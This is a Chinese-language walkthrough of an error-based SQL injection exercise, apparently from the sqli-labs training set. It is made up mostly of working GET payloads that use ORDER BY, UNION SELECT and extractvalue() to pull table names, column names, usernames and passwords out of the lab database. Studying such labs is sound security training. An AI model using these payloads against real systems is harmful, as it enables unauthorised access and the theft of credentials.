查看源代码:
if(isset($_GET['id']))
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if($row)
{echo 'You are in...........';}
else
{print_r(mysqli_error($con));}
输入形式为GET,注入格式为?id=*' * --+且当正确时会显示You are in...........,错误时不会显示任何东西
列数:
?id=1' order by 1 --+
You are in...........
?id=1' order by 2 --+
You are in...........
?id=1' order by 3 --+
You are in...........
?id=1' order by 4 --+
Unknown column '4' in 'order clause'
即列数为3
数据显示位置:
?id=0‘ union select 1,2,3 --+
You are in...........
目前使用库名:
?id=0' union select extractvalue(1,concat('%',database())) --+
XPATH syntax error:'%security'
即目前库名为security
security库中的所有表名:
?id=0' union select 1,2,extractvalue(1,concat('%',(select group_concat(table_name) from information_schema.tables where table_schema='security'))) --+
XPATH syntax error:'%emails,referers,uagents,users'
因为extractvalue()只能显示32位长度的信息且上列信息为超过32位
即security库中有emails,referers,uagents,users共4个表
users表中的所有列名:
?id=0' union select 1,2,extractvalue(1,concat('%',(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+
XPATH syntax error:'%USER,CURRENT_CONNECTIONS,TOTAL_'
因为extractvalue()只能显示32位长度的信息但上列信息为超过32位
即users表中最少有USER,CURRENT_CONNECTIONS,TOTAL_共3个列
根据前几题可知users表中有username列和password列
username列中的所有值:
?id=0' union select 1,extractvalue(1,concat('%',(select group_concat(username) from users))),3 --+
XPATH syntax error:'%Dumb,Angelina,Dummy,secure,stup'
因为extractvalue()只能显示32位长度的信息但上列信息为超过32位
即username列中最少有Dumb,Angelina,Dummy,secure,stup共5个值
password列中的所有值:
?id=0' union select 1,extractvalue(1,concat('%',(select group_concat(password) from users))),3 --+
XPATH syntax error:'%Dumb,I-kill-you,p@ssword,crappy'
因为extractvalue()只能显示32位长度的信息但上列信息为超过32位
即password列中最少有Dumb,I-kill-you,p@ssword,crappy共4个值